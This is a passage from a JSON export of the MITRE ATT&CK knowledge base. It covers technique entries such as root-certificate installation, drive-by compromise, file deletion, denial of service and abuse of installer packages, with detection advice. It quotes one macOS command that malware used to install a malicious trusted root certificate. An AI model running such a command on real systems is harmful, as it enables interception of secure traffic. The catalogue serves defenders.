"https://attack.mitre.org/techniques/T1027/010", "external_id": "T1027.010"}, {"source_name": "Twitter Richard WMIC", "description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023.", "url": "https://twitter.com/rfackroyd/status/1639136000755765254"}, {"source_name": "Invoke-Obfuscation", "description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.", "url": "https://github.com/danielbohannon/Invoke-Obfuscation"}, {"source_name": "Invoke-DOSfuscation", "description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.", "url": "https://github.com/danielbohannon/Invoke-DOSfuscation"}, {"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "Malware Monday VBE", "description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.", "url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"}, {"source_name": "Akamai JS", "description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.", "url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"}, {"source_name": "Bashfuscator Command Obfuscators", "description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.", "url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"}, {"source_name": "Microsoft PowerShellB64", "description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.", "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"}, {"source_name": "RC PowerShell", "description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.", "url": "https://redcanary.com/threat-detection-report/techniques/powershell/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Itzik Kotler, SafeBreach", "Travis Smith, Tripwire", "Red Canary", "Matt Graeber, @mattifestation, SpecterOps"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", "type": "attack-pattern", "created": "2017-05-31T21:31:42.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1130", "url": "https://attack.mitre.org/techniques/T1130"}, {"external_id": "CAPEC-479", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/479.html"}, {"url": "https://en.wikipedia.org/wiki/Root_certificate", "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", "source_name": "Wikipedia Root Certificate"}, {"url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", "source_name": "Operation Emmental"}, {"url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", "source_name": "Kaspersky Superfish"}, {"source_name": "SpectorOps Code Signing Dec 2017", "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"}, {"source_name": "objective-see ay mami 2018", "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", "url": "https://objective-see.com/blog/blog_0x26.html"}, {"source_name": "Microsoft Sigcheck May 2017", "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"}, {"url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "source_name": "Tripwire AppUNBlocker"}], "modified": "2020-02-21T21:11:06.761Z", "name": "Install Root Certificate", "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Digital Certificate Validation"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", "type": "attack-pattern", "created": "2017-05-31T21:30:30.260Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1022", "url": "https://attack.mitre.org/techniques/T1022"}, {"url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.", "source_name": "Zhang 2013"}, {"url": "https://en.wikipedia.org/wiki/List_of_file_signatures", "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", "source_name": "Wikipedia File Header Signatures"}], "modified": "2020-03-30T03:10:12.750Z", "name": "Data Encrypted", "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Walker Johnson"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "created": "2020-01-31T12:35:36.479Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1070.004", "url": "https://attack.mitre.org/techniques/T1070/004"}, {"source_name": "Microsoft SDelete July 2016", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.", "modified": "2022-04-16T18:25:43.231Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "File Deletion", "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Deletion"], "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T23:58:45.490Z", "name": "Drive-by Compromise", "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n    * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n    * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS", "SaaS"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Process: Process Creation", "File: File Creation", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1189", "external_id": "T1189"}, {"source_name": "Shadowserver Strategic Web Compromise", "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"}, {"source_name": "Volexity OceanLotus Nov 2017", "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "type": "attack-pattern", "created": "2019-04-17T20:23:15.105Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1498", "url": "https://attack.mitre.org/techniques/T1498"}, {"source_name": "FireEye OpPoisonedHandover February 2016", "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019."}, {"source_name": "FSISAC FraudNetDoS September 2012", "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."}, {"source_name": "Symantec DDoS October 2014", "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."}, {"source_name": "Cisco DoSdetectNetflow", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."}], "modified": "2022-03-25T20:05:40.122Z", "name": "Network Denial of Service", "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Sensor Health: Host Status"], "x_mitre_impact_type": ["Availability"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-12T03:27:48.171Z", "name": "Cloud Administration Command", "description": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Cisco", "Nichols Jasper", "Jared Wilson", "Caio Silva", "Adrien Bataille", "Anders Vejlby", "Nader Zaveri", "Tamir Yehuda"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Script: Script Execution"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7", "created": "2023-03-13T15:26:11.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1651", "external_id": "T1651"}, {"source_name": "AWS Systems Manager Run Command", "description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.", "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"}, {"source_name": "MSTIC Nobelium Oct 2021", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}, {"source_name": "Microsoft Run Command", "description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-28T15:52:44.332Z", "name": "Installer Packages", "description": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Brandon Dalton @PartyD0lphin", "Rodchenko Aleksandr"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Creation"], "x_mitre_effective_permissions": ["root"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56", "created": "2022-09-27T18:02:16.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/016", "external_id": "T1546.016"}, {"source_name": "Application Bundle Manipulation Brandon Dalton", "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.", "url": "https://redcanary.com/blog/mac-application-bundles/"}, {"source_name": "Debian Manual Maintainer Scripts", "description": "Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.", "url": "https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact"}, {"source_name": "Windows AppleJeus GReAT", "description": "Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.", "url": "https://securelist.com/operation-applejeus/87553/"}, {"source_name": "Microsoft Installation Procedures", "description": "Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.", "url": "https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"}, {"source_name": "wardle evilquest parti", "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.", "url": "https://objective-see.com/blog/blog_0x59.html"}, {"source_name": "Installer Package Scripting Rich Trouton", "description": "Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.", "url": "https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", "type": "attack-pattern", "created": "2020-10-02T16:54:23.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1595.001", "url": "https://attack.mitre.org/techniques/T1595/001"}, {"source_name": "Botnet Scan", "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf", "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:19:38.469Z", "name": "Scanning IP Blocks", "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive 